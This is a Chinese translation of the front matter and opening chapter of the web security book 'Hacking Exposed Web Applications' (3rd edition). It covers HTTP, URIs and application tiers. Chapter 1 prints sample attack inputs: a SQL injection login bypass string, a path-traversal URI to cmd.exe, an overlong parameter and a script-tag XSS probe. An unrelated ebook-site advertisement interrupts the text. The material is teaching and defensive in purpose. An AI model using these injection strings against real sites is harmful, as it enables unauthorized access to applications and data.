黑客大曝光：Web应用程序安全（原书第3版）

Hacking Exposed Web Applications：Web Application Security Secrets and Solutions，Third Edition

（美）斯坎布雷（Joel Scambray）　（美）刘（Vincent Liu）　（美）西玛（Caleb Sima）　著

姚军　等译

ISBN：978-7-111-35662-2

本书纸版由机械工业出版社于2011年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。

版权所有，侵权必究

客服热线：+ 86-10-68995265

客服信箱：service@bbbvip.com

官方网址：www.hzmedia.com.cn

新浪微博 @研发书局

腾讯微博 @yanfabook

对本书的赞誉

“不管你是期望理解企业威胁的公司领导，还是为网站编写代码的工程师，或是识别和缓解对应用造成威胁的安全工程师，本书都是你的武器库中有价值的武器。”

——摘自Chris Peterson的序言

Zynga Game Network应用安全高级主管

前Microsoft安全保障主管

“我认真品读了Joel的作品，这本书没有让我失望。人们常问，到哪里能找到在这个令人畏缩的行业里获得立足之地的高质量内容。这本书就是每个应用安全从业者所需要的案头参考。它将是我的珍藏书籍之一。”

——Robert“RSnake”Hansen　SecTheory CEO及ha.ckers.org创始人

“作为了解当今Web应用安全形势的一个具有启发性的资源，本书研究了最新的漏洞以及攻击技术，以及用于对抗这些漏洞的手法。本书对于寻求进入Web应用安全世界、有抱负的工程师，以及紧跟最新技术发展、成熟的应用安全和渗透测试专家来说，都是值得一读的。”

——Chad Greene　eBay全球信息安全主管

“由于我们的业务将更多的信息和商务通过Web应用推送给客户，这些业务的机密性和完整性是我们立足的根本，即使不是义务，也是责任。本书为担负这一责任的应用开发人员和安全人员提供了全面的信息。作者的研究、洞察力，以及30年以上信息安全专家的经历，都令本书成为应用和信息保护工具箱中宝贵的资源。这是本好书！”

——Ken Swanson　P&C保险公司区域IS业务解决方案经理

“本书不仅是关于Web应用安全的权威入门书籍；它还是师从最著名的行业专家的一次机会，即使熟练的专业人员也应珍惜这一机会。”

——Andrew Stravitz，CISSP　Barnes&Noble.com信息安全主管

“非常及时的参考书，随着云计算不断扩展到企业中，Web安全成为了攻击者和防御者的新战场。这本全面的书籍是理解当代Web应用形势及对策的权威入门读物。特别值得一提的是书中对身份管理的详细论述，这本书第一次深入地审视并以如此容易理解的方式介绍了围绕身份验证的各种挑战。”

——Cem Paya　Google安全团队

译者序

互联网确实是人类历史上伟大的发明之一，它彻底地改变了人们的生活，现在，可以毫不怀疑地说，人们日常生活的每个方面都已经和互联网息息相关。

那么，什么是互联网中最引人注目的部分呢？您一定能猜到，是各式各样的Web应用。Web应用可以说是IT界的骄傲，它们使现实世界中形形色色的业务都搬到了网络上，使人们可以足不出户地购物、娱乐、处理各种日常事务。在这一刻，IT人可以自豪地说：这么多年来，我们终于引领了业务，超越商业界创造了一种生产、销售、服务的新形式。

骄傲和危险总是相伴的，网络上巨大的商业机会也同样吸引着不法分子，既然可以在网络上从事各种商务活动，也就意味着，技术高超的黑客们不用荷枪实弹，就能洗劫一个商店，甚至偷走银行中的现金。使用电子商务的人不断激增，大部分人都不具备与黑客同样的技术背景，在与犯罪分子的斗争当中，人们已经落了下风。而搭建网上平台的企业，自然要承担起保护自身及客户财产和隐私安全的职责，企业的安全管理员们，肩上的责任也就更沉重了。

令人遗憾的是，近年来不断发展的平台技术，虽然在安全上有了巨大的进步，但是对于扩张如此迅速的Web应用所面对的越来越广泛的威胁仍然无能为力。网络架构本身的特点，决定了安全不再只是通过防火墙、防病毒软件和安全补丁就能完成的任务，而是涉及开发人员、安全管理人员以及整个企业的各个部门甚至网上所有客户的巨大项目，而黑客们所研究出来的各种攻击手段，则是五花八门，令人瞠目结舌。

和往常一样，《黑客大曝光》的作者们又一次走到了幕前，用他们在许多大型企业担当安全顾问的丰富经验，为我们呈现了安全工作中将要面对的各种威胁，丰富的实例解说、逼真的样板应用攻防，既让我们深深感受到黑客手段的可怕之处，又欣慰地看到，在开发和安全实施的很多时候，我们只要理解和运用书中所介绍的最佳实践，就能够很快地消除大部分的隐患，除了对各种威胁原理的详细解说之外，本书还为读者提供了一套十分好用的安全过程方法论，并且用实例讲解了如何将这些方法集成到Web应用产品生命期中，而这，正是安全工作者孜孜以求的。

这是我们第二次翻译《黑客大曝光》了，本书充实的内容使我们担心，因为自己的水平所限，不能百分之百地再现原作的精彩之处，我们为此倾注了很大心力，也真诚地向读者推荐这本书，希望它能成为你工作中的定海神针。

本书的翻译主要由姚军完成，徐锋、陈绍继、郑端、吴兰陟、施游、林起浪等人也为本书的翻译工作做出了贡献，在此也要感谢华章科技图书的编辑们对翻译工作提出的许多中肯意见，同时期待着广大读者朋友的批评指正。

序言

不知彼不知己，每战必败。

——孙武《孙子兵法》

今天的商业活动依靠Web生存是无法回避的事实。从银行到书店，从拍卖到游戏，大部分公司都在Web上进行交易。例如，美国接近50%的音乐零售业务发生在网上，2010年网络游戏中的虚拟交易市场将超过15亿美元。有人估计，美国成年人中超过45%的人专门使用互联网进行自己的银行业务。随着Web的智能手机的流行，现在大部分的网络商务活动对消费者来说在任何时间、任何地点都可以进行。不管如何估算，Web上的业务都是经济的重要组成部分，并且正在快速发展。但是这种增长也带来了令人不快的现实——这部分商务活动的安全并没有齐头并进。

在现实世界里，企业所有者数十年来都在面对和学习缓解威胁，他们必须应付强行闯入、盗窃、持械抢劫、伪钞、支票诈骗以及各种骗局。但是现实世界里，企业的业务边界是有限而容易定义的。在大部分情况下，威胁的种类也在合理的限度内。随着时间的推移，他们已经学会应用越来越成熟的方法、工具和保安措施来对付这些威胁。而在Web上，情况就大不相同了。

Web上的商务活动出现不足20年，在现实世界中积累的许多经验教训，在Web商务活动中才刚刚露出苗头。和现实世界中一样，只要有钱或者有价值的资产，总是会发现一些人为非作歹，企图利用这些资产。但是，电子商务和现实世界不同，企业面对令人眼花缭乱的技术和概念，大部分领导者都感觉这些技术和概念难以（甚至不可能）理解。除此之外，资产的边界常常没有得到很好的理解，潜在威胁可能横跨全球。虽然所有银行的高级主管对现实世界的安防都很在行，提高物理资产的访问管理，精细设计银行金库的安全性，钱柜里有染色包，大堂中加武装保安等，但是这些主管们常常困惑于跨站脚本、SQL注入等技术对企业的影响。在许多情况下，即使这些公司雇用的建站“专家”、开发人员几乎也不知道这些威胁对网站的危害程度、他们所编写代码的脆弱性，或者那些打算获得系统访问权的攻击者的距离。

在电子商务和网络犯罪不对等的战场上，一些专家全心全意地将有关安全威胁的知识传授给企业，加强开发人员建立抗攻击代码的意识，并且不断地研究攻击者所采用的频繁变化的策略和工具。本书的作者代表着这个群体中最有经验和知识的专家，这本书是他们分享知识和经验的最新努力。

不管你是期望理解企业威胁的公司领导，还是为网站编写代码的工程师，或是期望识别和缓解对应用造成威胁的安全工程师，本书都是你的武器库中有价值的武器。正如孙子告诉我们的，这本书能让你更清楚地认识自己和你的敌人，最后你将有能力减少企业的风险。

——Chris Peterson，2010年8月

Zynga Game Network应用安全高级主管　前Microsoft安全保障主管

前言

早在1999年，本书第1版就向读者介绍了计算机网络和系统多么容易闯入。尽管今天还有许多人没有意识到这个事实，但是很多人正在开始理解防火墙、安全操作系统配置、软件供应商补丁维护和许多其他以前觉得很神秘的信息系统安全的基础知识。

遗憾的是，互联网所带来的快速发展已经把“球门柱”推向了前场。防火墙、操作系统安全性和最新的补丁都可能被简单的Web攻击所绕过。尽管那些要素仍然是所有安全架构中的关键部件，但是对于越来越频繁而且不断成熟的新一代攻击来说明显无能为力。

这不是我的一家之言。Gartner集团指出，75%的网络攻击都在Web应用级别，而在300个经过审核的网站中，97%的网站都容易受到攻击。2009年秋季的WhiteHat网站安全统计报告称，83%的网站至少有一个严重的漏洞，64%的网站目前至少有一个漏洞，而漏洞解决率仅为61%，余留了8902个未解决的问题（样本大小：1364个网站）。毁灭性攻击的新闻现在已经很常见：身份盗窃资源中心（Identity Theft Resource Center，ITRC）称，在2010年上半年，至少有301个安全性缺口导致了超过820万份身份记录曝光。估计因为安全性缺口所引起的敏感数字记录侵害总数还会再攀新高：Verizon Business 2010数据破坏调查报告中称，6年来，仅查看900余种缺口样本就有超过9亿条记录受到侵害。

我们不能停止互联网商务的脚步，关上大门。我们除了划定一条底线，并保卫信息空间中无数的组织和个人所划定的阵地之外，别无选择。对于已经组建了最基本的网站的人来说，这是一个令人畏惧的任务。面对现有协议如HTTP的安全局限性，以及技术挑战（包括XML Web服务、AJAX、RSS、移动应用以及用户生成内容等）不断加速的脚步，设计和实现一个安全的Web应用可能成为一个戈尔地雅斯难结 [1] 。

面对Web应用安全挑战

本书为你展示如何使用书中提出的双管齐下的方法来应对这一挑战。

首先，我们把Web应用将要面对的最大威胁分类，并且非常详细地解释它们的工作原理。我们是如何知道这些最大的威胁的？因为我们受雇于世界上最大的公司，进入它们的Web应用，每天使用基于这些威胁的攻击来开展工作。我们几人做这项工作的时间加起来已经超过30年，我们研究最新出现的攻击，开发自己的工具和技术，并且将它们组合成为最有效方法，用于渗透现有的Web应用安全。

在你注意到我们展示的这些危险之后，我们告诉你如何避免所有这些攻击。在不理解本书中的信息的情况下开发Web应用，等同于开车时不系安全带，还开上光滑的路面，穿过大裂谷，没有刹车，并且把油门踩到最大。

本书的组织结构

本书由多个章节组成，每个章节描述攻击方法论的一个方面。这种结构组成了本书的主干，因为如果没有一种方法论，那么本书就仅仅是一堆没有上下文和意义的信息。以下是本书章节内容。

第1章　Web应用入侵基础。这一章中，我们广泛地概述了Web应用入侵攻击和技术，同时展示了具体的实例。系上你的安全带，因为我们就要离开堪萨斯了。

第2章　剖析。任何方法论的第一步往往是最重要的，剖析也不例外。该章讲解了作为攻击Web应用及其相关基础设施前奏的侦查过程。

第3章　Web平台入侵。如果建立在充满安全漏洞的Web平台之上，那么没有一个应用能够安全，该章描述了大部分流行的Web平台包括IIS、Apache、PHP和ASP.NET的攻击、检测躲避技术及其对策。

第4章　攻击Web验证。该章介绍常见Web验证机制的攻击和对策，包括基于密码、多因素（例如CAPTCHA）以及Windows Live ID这样的在线验证服务。

第5章　攻击Web授权。了解通过高级会话分析、劫持和完成（Fixation）技术。

第6章　输入注入攻击。从跨站脚本到SQL注入，大部分Web攻击的实质是意外的应用输入。在该章中，我们回顾经典的恶意输入类别，从超长输入（像缓冲区溢出）到规范化攻击（像臭名昭著的dot-dot-slash），并且揭示应该始终加以怀疑的元字符（包括角括号、引号、单引号、双破折号、百分号、星号、下划线、换行、&、管道符号和分号），从入门级到高级的SQL注入工具和技术，以及隐蔽编码技术和输入验证/输出编码对策。

第7章　攻击XML Web服务。不要遗漏了SOAP，因为这一章将揭示如何通过包括WSDL暴露、输入注入、外部实体注入和XPath注入等技术发现和攻击Web服务漏洞。

第8章　攻击Web应用管理。如果前门上锁，就试试后门！该章揭示了大部分针对远程服务器管理、Web内容管理/授权、管理员错误配置以及开发者造成错误的常见Web应用管理攻击。

第9章　入侵Web客户端。你可知道，浏览器实际上是不安全的东西直接进入你家里和办公室的一个有效的途径？来一次最危险的Web浏览器攻击之旅，然后遵循我们提出的“获得更安全的互联网体验10大步骤”（以及本章列出的许多附加对策），在浏览的时候就能更轻松地呼吸。

第10章　企业Web应用安全计划。在该章中，我们短暂地告别零知识/黑盒分析，解释一种健壮的全知识/白盒Web应用安全评估方法学的优点，包括威胁建模、代码评审、动态Web应用扫描、安全测试以及将安全集成到整个Web应用开发生命期和IT运作中。该章是针对中大型企业的IT运作和开发人员，他们需要实施我们的Web应用评估方法从而得到伸缩性、一致性和可接受的投资回报。

最后，我们添加了有用的附录，这并不代表这些内容不重要，具体包括：“Web安全检查列表”和“Web黑客工具和技术快速参考”。

模块性、组织和易读性

很显然，本书可以从头到尾阅读，来得到Web应用渗透测试的全面描述。但是，我们尽力使每章独立，这样可以逐个模块地消化本书，适合时间紧张的目标读者。

而且，我们严格地坚持清晰、易于理解和简练的写作风格，这是读者对本书的总体印象。我们知道读者很忙，需要直接地得到第一手资料，而不是大量的空话和无谓的行话。正如本书以前版本的读者们所评论的：“读起来像小说，如地狱般令人惊恐！”我们认为，从头到尾阅读和逐个章节阅读都能使你满意，本书的结构适合于任何一种阅读风格。

章节小结及参考与延伸阅读

本书每一章的结尾处都有两个特别部分：“小结”和“参考与延伸阅读”。

“小结”顾名思义，是本章中介绍的主要概念的摘要，以及对各种对策的强调。我们希望，如果你阅读了每章的小结，就能知道如何加固Web应用来对付任何形式的攻击。

每章的“参考与延伸阅读”部分包含了该章正文介绍的每个条目所需的URL、ISBN号码和其他信息，这些条目包含供应商安全通告和补丁、第三方建议、商业和免费工具、新闻中的Web入侵事件以及关于正文的信息详细或者扩展读物。这样，如果你需要查找某些内容，可以翻到这一章的末尾去寻找。我们希望通过汇集附加的参考内容能够改进本书的整个阅读体验。

基本组成部分：攻击与对策

本书的基本组成部分是每一章所讨论的攻击和对策，因此我们使用了非常醒目的攻击与对策图标。

攻击图标

这个图标强调了各种攻击方法，使读者找到特定的渗透测试工具和方法很容易，并直接为你指出说服管理层投资新的安全倡议所需要的信息。

许多攻击附有危险等级，计分方法如下：

伴随着每种或者每个系列的攻击，也有相应的对策，图标如下：

对策图标

这个标志应该会引起你对关键修复信息的注意。

其他辅助图标

我们还使用了很多视觉增强图标来突出显示那些经常被忽视的细节。

注意　　提示警告

在线资源和工具

Web应用安全技术变化很快，我们承认书籍通常很难跟上这种急剧变化的研究领域。

因此，我们建立了一个网站，跟踪与本书讨论的主题相关的新信息、勘误表，以及书中介绍的公共工具、脚本和技术。网站地址为

http://www.webhackingexposed.com

网站还提供了论坛，可直接与作者通过以下邮件交流：

joel@webhackingexposed.com

我们希望读者在阅读本书各个章节时经常登录这个网站，查看更新的材料、获得我们提到的工具，并跟上Web安全技术的变化形势。否则，你永远无法在进行防御时预先得知哪些新的发展可能危及你的应用。

致读者的最后一段话

我们在本书中倾注了感情、才智和经验，我们真诚地希望所有的努力能为负责Web应用安全的读者节约大量的时间。我们认为你已经做出了一个有勇气和前瞻性的决策，希望在互联网上获得一席之地，但是，就像你将在本书中看到的那样，你的工作在网站启动的一刻才刚刚开始。不要惊慌，打开这本书，通过学习你会得到莫大的安慰：在下一个Web大灾难登上报纸头版时，你甚至连眼睛都不会眨一下。

[1] 戈尔地雅斯难结——希腊神话中的一个难题，神谕解开该结即为亚细亚国王。——译者注

作者简介

Joel Scambray

Joel Scambray是一家战略安全资讯服务提供商Consciere的联合创始人和CEO。他已经帮助从新兴公司到《财富》前50大公司在内的许多公司处理信息安全问题，历时超过12年。

他曾经担任过高管、技术顾问和企业家。他曾经是Microsoft公司的高级主管，在那里他领导Microsoft的在线服务安全工作三年多，然后加入Windows平台和服务部门，专门研究安全技术架构。Joel还与他人共同创办了安全软件和服务公司Foundstone，并获得了McAfee 8600万美元的投资。他先前还担任过Ernst&Young的经理，Microsoft TechNet安全专栏作者，InfoWorld Magazine的自由撰稿人，以及一家大型商业房地产公司的IT主管。

他是1999年首次出版的畅销世界的计算机安全书籍《Hacking Exposed:Network Security Secrets and Solutions》的合著者。他还是《Hacking Exposed Windows》和《Hacking Exposed Web Applications》的主要作者。

他在很多场合发表关于信息安全的演讲，包括Black Hat、I-4、INTERFACE以及亚欧会议（ASEM）等论坛，IANS、CERT、计算机安全学会（CSI）、ISSA、ISACA、SANS等组织，私有公司以及韩国信息安全局（KISA）、FBI和RCMP等政府机关。

他拥有加州大学戴维斯分校的学士学位，加州大学洛杉矶分校的硕士学位，他还是一位认证信息系统安全专家（CISSP）。

Vincent Liu

Vincent Liu（CISSP）是Stach&Liu的任事股东。在创办Stach&Liu之前，Vincent在Honeywell国际公司领导全球安全单位的攻击与渗透及逆向工程团队。在此之前，他是Ernst&Young高级安全中心的顾问和美国国家安全局的分析师。Vincent是广受欢迎的演说家，曾在Black Hat、ToorCon和Microsoft BlueHat等业界会议上介绍自己的研究成果。Vincent拥有宾夕法尼亚大学的科学与工程学士学位，主修计算机科学与工程并选修心理学。

Caleb Sima

Caleb Sima是以Santa Clara为基地的集成Web应用安全解决方案提供商Armorize Technologies的CEO。他在2000年创立了SPI Dynamics，并作为CTO目睹了堪称Web应用安全测试工具解决方案标杆的WebInspect的发展。2007年Hewlett-Packard（惠普公司）收购了SPI Dynamics，Sima成为了惠普公司的应用安全中心首席技术专家，在这里他指导并建立了该公司安全解决方案并且领导开发了基于云的安全服务。在这个位置上，他还管理一个训练有素的安全专家团队，成功地识别了新的安全威胁并且设计出先进的对策。在创办SPI Dynamics之前，他是Internet Security Systems/IBM精锐的X-Force研究和开发团队工作，推动了该公司的企业安全性评估。Sima是一位Web应用安全领域的思想领袖和技术预言家，在Web安全技术上有五项专利并合著了这方面的多本书籍，他经常在媒体上投稿，并且定期地在主要的业界会议如RSA和Black Hat上演讲。他是ISSA的成员，OASIS中的应用漏洞描述语言（AVDL）的创建者之一，还是Web应用安全协会（WASC）的创办会员。

对本书的贡献者

Hernan Ochoa是具有14年专业经验的安全顾问和研究者。Hernan于1996年随着Virus Sentinel的创立开始其职业生涯，Virus Sentinel是一个基于特征码的文件/内存/MBR/启动扇区检测/删除的防病毒应用程序，并且具备启发式检测多态病毒的能力。Hernan还开发了一个详细的技术性病毒信息数据库和与之相伴的时讯报道。他在1999年加入Core Security Technologies并在那里供职10年，担任了多个职务，包括安全顾问和攻击程序编写者。作为攻击程序编写者，他进行了多种多样的安全评估，开发了多种方法论、外壳代码和安全工具，并对新的攻击方向提出了意见。他还为一种最终部署在某家金融机构的多OS安全系统设计和开发了多种低级/内核组件。Henan已经发表了许多安全工具，包括Universal Hooker（使用Python编写的动态处理例程的运行时工具），Pass-The-Hash Toolkit for Windows和WifiZoo。他目前在Amplia Security担任顾问/研究员，进行网络、无线和Web应用的渗透测试，独立/客户-服务器应用黑箱评估，源代码审核，逆向工程，漏洞分析，以及其他信息安全相关的服务。

Justin Hays是Stach&Liu的一位高级安全顾问。在加入Stach&Liu之前，Justin是PTC日本公司的企业支持工程师，负责调试、逆向工程以及缓解PTC的旗舰产品Windchill企业服务器J2EE软件缺陷。Justin拥有肯塔基大学的学士学位，主修计算机科学，兼修数学。

Carl Livitt是Stach&Liu的管理安全顾问。在加入Stach&Liu之前，Carl领导一家广受尊敬的英国安全公司的网络安全服务组，这家公司为世界最大的许多制药公司提供网络安全咨询服务。Carl还曾经与英国警察反恐怖单位合作，为执法部门人员举办安全技术讲座。

Rob Ragan是Stach&Liu的一位高级安全顾问。在加入Stach&Liu之前，Rob在惠普公司的应用安全中心任软件工程师，开发Web应用安全测试工具并且管理应用渗透测试。Rob积极开展Web应用安全研究并在Black Hat、Defcon、InfoSec World和Outerz0ne等大会上加以展示。Rob拥有宾夕法尼亚州大学的学士学位，主修信息科学与技术，主要关注系统开发。

本书的技术编辑

Robert Hensing是Microsoft的高级顾问，他已经担任各种安全工作超过12年。Robert以前在Microsoft安全响应中心（MSRC）工作，关注于提供安全漏洞的根源分析、鉴别缓解和变通方法，帮助客户免遭攻击。在MSRC工程团队工作之前，Robert是客户支持服务安全团队的高级成员，帮助客户进行事故响应相关的研究。Robert还是《Hacking Exposed Windows:Windows Security Secrets and Solutions，Third Edition》的作者。

致谢

没有许多人的支持、鼓励、投入和贡献，本书就不可能出版。我们希望能够在这里提及所有这些人，如果因为我们的疏忽而忽略了某些人，请接受我们的歉意。

首先，要感谢我们的家人和朋友在这段繁忙的研究和写作时间里对我们的支持，他们的理解和支持对本书的完成至关重要，我们希望可以弥补这段离开他们完成又一个图书项目的日子（真的，这次我们保证！）。

其次，感谢我们的伙伴Hernan Ochoa、Justin Hays、Carl Livitt和Rob Ragan对本书的宝贵贡献。还要特别感谢Robert Hensing犀利的技术评审和许多重大的贡献。

特别感谢先前版本的主要作者对这个版本的巨大影响。Caleb Sima（第1版和第3版的合著者）在Web应用安全领域不断推出新发明，Mike Shema（第1版的合著者）坚持不懈地将书中的想法精炼为自动化的过程。

当然，要再次深深地感谢不知疲倦的McGraw-Hill制作团队，包括我们的组稿编辑Megg Morin、黑客曝光系列“名誉编辑”Jane Brownlow、组稿协调员Joya Anthony，感谢他们使一切工作井然有序，感谢制作顾问Melinda Lytle和项目编辑LeeAnn Pickrel，他们即使面对周末交付的样稿和其他作者强加给他们的不公平的任务时都保持着负责任的心态。

我们还要感谢在本书许多主题上提供了意见和指导的很多人，包括Consciere的Kevin Rich、Kevin Nassery、Tab Pierce、Mike DeLibero和Cyrus Gray。此外，我们还要衷心地感谢Stach&Liu的Fran Brown、Liz Lagman、Steve Schwartz、Brenda Larcom、Shyama Rose和Dan对我们工作的不懈支持。

还要感谢Chris Peterson对本书手稿的反馈意见以及序言中对本书的赞扬，感谢对我们的初稿提出意见的同事们：Chad Greene、Robert Hansen、Cem Paya、Andrew Stravitz和Ken Swanson。

我们要一如既往地向全世界许多敏锐而且有创造力的黑客们脱帽致敬，他们持续不断地创新并且为《黑客大曝光》提供原始素材，特别是那些经常与我们通信的人们。

最后，要对所有《黑客大曝光》的读者说声“谢谢”，你们的支持使得所有辛勤的工作都有了价值。

——Joel、Vinnie、Caleb

感谢Jane让《黑客大曝光》系列图书起飞，并且坚持了这么多年。

——Joel

感谢Heather在本书整个写作过程中让我总是带着笑。

——Vinnie

感谢我的母亲和父亲（对我的宽容），我的哥哥Jonathon、RJ和Andrew，以及我的姐姐Emily。最后，感谢SPI的所有人，他们改变了我的生活并且帮助我建立了一个伟大的公司。

——Caleb

第1章　Web应用入侵基础

本章概述了Web应用入侵中的“谁、什么、何时、何处、如何以及为什么”等内容，旨在为后续的章节打下一个基础，后面将会更深入地研究Web应用攻击的细节以及对策。我们还将介绍基本的Web应用入侵工具集，因为本书后续内容将介绍这些工具的各种用途。

1.1　什么是Web应用入侵

我们不打算浪费太多的时间去定义Web应用程序——除非你在过去的十年中与世隔绝，否则你可能已经直接体验过数十个Web应用（Google、Amazon.com、Hotmail等）。更深入的背景材料，可以在Wikipedia.org上搜索“Web application”这个词。在这里我们将尽可能快速而简洁地集中介绍与安全相关的内容。

我们将Web应用定义为通过超文本传输协议HTTP（关于HTTP的背景资料参见本章末尾的“参考与延伸阅读”）访问的应用。因此，Web入侵的本质是通过HTTP篡改应用，有3种简单的Web入侵方法：

·通过图形化Web界面直接操纵应用

·篡改统一资源标识符（URI）

·篡改没有包含在URI中的HTTP元素

1.1.1　GUI Web入侵

许多人都有这种印象：Web入侵是一种非常棘手的技术工作，最好是留给住在黑屋子里、喝了许多威士忌的年轻人去干。但是，借助Web应用直观的图形用户界面（GUI，读做“gooey”），这件工作并不一定有这么困难。

我们来看看Web入侵有多么简单。在第6章中，我们将介绍最具杀伤力的Web应用攻击之一：SQL注入。尽管这种攻击的内部原理有些复杂，但是对于任何会在网上搜索的人来说，SQL注入的基本细节到处可见。通过搜索可以发现进行相对简单的攻击指南，这种攻击能够绕开质量低下的Web应用的登录页面，只需输入简单的字符集就能让登录功能返回“授权访问”——屡试不爽！图1-1说明实施这种类型的攻击有多么容易，样例是Foundstone公司Web应用Hacme Bank的简单GUI。

有些纯粹主义者无疑会嘲笑仅仅使用浏览器进行“真正”的Web应用入侵的念头，当然，在本章稍后的部分以及整本书中，还将描述许多能够大大地改进基本Web浏览器能力、进行业界领先的入侵工具。但是，不要过分地轻视浏览器。在我们多年的Web应用入侵的经历中，我们已经确定，黑客试图战胜的是应用的基本逻辑，而不在乎使用的是什么工具。实际上，我们所见过的一些最巧妙的攻击仅仅涉及浏览器。

更好的是，这样的攻击也能为Web应用管理员/开发人员/经理/主管提供修复问题的最好动因。还有什么方法比使用这个几乎所有地球人都熟悉的工具进行攻击更能说明漏洞的严重性呢？

图1-1　输入字符串'OR 1=1--绕过了Foundstone的Hacme银行应用示例的登录屏幕。是的，就这么简单

1.1.2　URI入侵

想看高明的技术型黑客是怎么入侵的吗？下面就是。最近5年使用过电脑的人们都知道统一资源标识符，这是在网上冲浪时，你所喜爱的浏览器的地址栏上出现的文字串，通常是这种形式：“http://www.somethingorother.com”。

从更技术性的角度来讲，RFC 3986描述了URI（及其子集，包括更常用的术语统一资源定位符（URL））的结构和语法。根据RFC 3986，URI由如下部分组成：

scheme://authority/path?query

用更常用的术语来解释，URI描述用于访问服务器（authority）上的一个资源（path）或者应用（query）的协议（scheme）。对于Web应用来说，协议几乎都是HTTP（最重要的例外是HTTP的“安全”版本HTTPS，在这种协议中，会话数据受到SSL或TLS协议的保护；更多的信息参见“参考和延伸阅读”）。

警告　标准HTTPS（无客户端验证）除了使客户端和服务器之间的通信更难以窃听和干扰以外，对Web应用的整体安全性没有任何作用。

服务器是一台或者多台运行HTTP软件（通常由其DNS名如www.somesite.com指定）的计算机，路径（path）描述了应用文件所在文件夹或者目录的层次结构，而查询包含了需要传递给服务器上保存的应用可执行文件的参数。

注意　URI中“？”右边的部分称作查询串。

HTTP客户端（通常是Web浏览器）简单地请求这些资源，服务器对此做出响应。我们在喜爱的浏览器中都看过上百万次，所以无需赘言。下面是一些示例：

http://server/file.html

http://server/folder/application?parameter1=value1&parameter2=value2

http://www.webhackingexposed.com/secret/search.php?input=foo&user=joel

正如我们在前面所说的，Web入侵不过是以巧妙的方式操纵URI。下面是这种操纵的一些简单示例：

https://server/folder/../../../../cmd.exe

http://server/folder/application?parameter1=aaaaa...256 a's...]

http://server/folder/application?parameter1=<script>'alert'</script>

如果你能猜出这些攻击的所作所为，那么你已经是一位专业的Web黑客了！如果你还看不出来，我们很快将为你详细说明。首先，我们需要澄清一些细节。

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

1.1.3　方法、首部和主体

接下来是一些URI所未能显现出来的（但是不多！）。HTTP是一种无状态的“请求-应答”协议。除了URI中的信息（在protocol://domain的右边），HTTP还传递用于请求中的方法（method）、协议首部（header），以及主体（body）部分中携带的数据。这些部分在URI中都不可见，但是对于理解Web应用非常重要。

HTTP方法是在目标资源上执行的操作类型。HTTP RFC定义了少数方法，Web分布式创作和版本管理（WebDAV）扩展定义了更多方法。但是大部分Web应用只使用两种方法：GET和POST。GET请求信息，GET和POST都能向服务器发送信息，但两者之间有一个重要的不同点：GET将所有数据保留在URI，而POST在请求的主体中放置数据（在URI中不可见）。POST一般用于向应用提交表单数据，例如要求姓名、发货地址以及付款方式的在线购物应用。常见的一种误解是，因为缺乏可见性，POST能够比GET更好地保护数据。在本书中我们将无数次地说明，这种假设通常是错误的（但是使用GET在查询串上发送敏感数据确实更可能在各种地方暴露该数据，包括客户端缓存和Web服务器日志）。

HTTP首部一般用于存储关于协议级事务的附加信息。HTTP首部中与安全相关的示例包括：

·Authorization：定义请求是否使用某种类型的验证，在许多实例中兼做验证数据（例如使用基本（Basic）验证）。

·Cache-control：定义是否将请求的一个副本缓存在中间代理服务器上。

·Referer （按照HTTP RFC，这种错误的拼写是有意的）：列出浏览器到达当前链接的源URI。有时用于早期的容易攻破的验证方案。

·cookies：常用于存储自定义应用验证/会话令牌。我们将在本书中谈到很多关于cookie的内容。

下面的示例是用流行的netcat工具揭示HTTP的“隐秘”之处。我们首先连接www.test.com服务器的TCP端口80（用于HTTP的标准端口；HTTPS使用TCP 443端口），然后请求/test.html资源。这个请求的URI将是http://www.test.foo/test.html。

www.test.foo [10.124.72.30] 80 (http) open
GET /test.html HTTP/1.0
HTTP/1.1 200 OK
Date: Mon, 04 Feb 2002 01:33:20 GMT
Server: Apache/1.3.22 (Unix)
Connection: close
Content-Type: text/html
<HTML><HEAD><TITLE>TEST.FOO</TITLE>etc.

在这个示例中，很容易看到请求中的方法（GET），响应首部（Server:等），以及响应主体数据（<HTML>等）。一般来说，黑客对HTTP不需要理解得这么细，只要使用现成的工具来自动完成所有的低级工作，暴露那些需要操纵的部分就可以了。我们将在下面的部分图解说明Web应用是“如何”受到攻击的。

1.1.4　资源

一般来说，攻击者的最终目标是获得对Web应用资源的未授权访问。Web应用拥有哪些资源？

尽管Web应用可以有许多层次，但是大部分分为三层：表示层、逻辑层和数据层。表示层一般是超文本标识语言（HTML）页面，静态或者由脚本动态生成。这些页面一般不包含攻击者使用的信息（至少意图是如此；但本书还会介绍一些例外情形）。逻辑层也一样，但是Web应用开发人员经常在这一层犯错误，导致应用其他方面遭到侵害。在数据层的有诱人的数据，如客户数据、信用卡号码等。

这些层如何映射到URI?表示层一般由静态HTML文件或者主动生成HTML的脚本组成。例如：

http://server/file.html(as static HTML file)

http://server/script.php(a HyperText Preprocessor，or PHP，script)

http://server/script.asp(a Microsoft Active Server Pages，or ASP script)

http://server/script.aspx(a Microsoft ASP.NET script)

动态脚本可以作为逻辑层，接受输入参数和值。例如：

http://server/script.php?input1=foo&input2=bar

http://server/script.aspx?date=friday&time=1745

许多应用为这个目的使用独立的可执行文件，所以你可能看到下面这样的例子而不是脚本文件：

http://server/app?input1=foo&input2=bar

许多框架可以用于开发这样的第2层逻辑应用。最常见的包括Microsoft的Internet服务器应用编程结构（ISAPI）和公开的通用网关接口（CGI）规范。

不管实现哪种类型的第2层逻辑，几乎都要访问第3层的数据。因此，第3层一般是某种数据库，通常是SQL的变种。这为攻击者从应用操作和提取数据创造了单独的机会，因为SQL语法通常经过表示和逻辑层以不合适的方式暴露出来。我们将在第6章中关于输入注入攻击的部分中图解介绍这一过程。

1.1.5　验证、会话和授权

HTTP是无状态的，协议本身不维护任何会话状态。也就是说，如果你请求一个资源并且收到一个有效的响应，然后请求另一个资源，服务器将其看做完全独立和唯一的请求。它不会维护任何东西（例如会话）或者维护与客户的链接的完整性。这也对攻击者有利，因为他们不需要计划多阶段的攻击来击垮错综复杂的会话维护机制，只用一个请求就可以击垮Web应用。

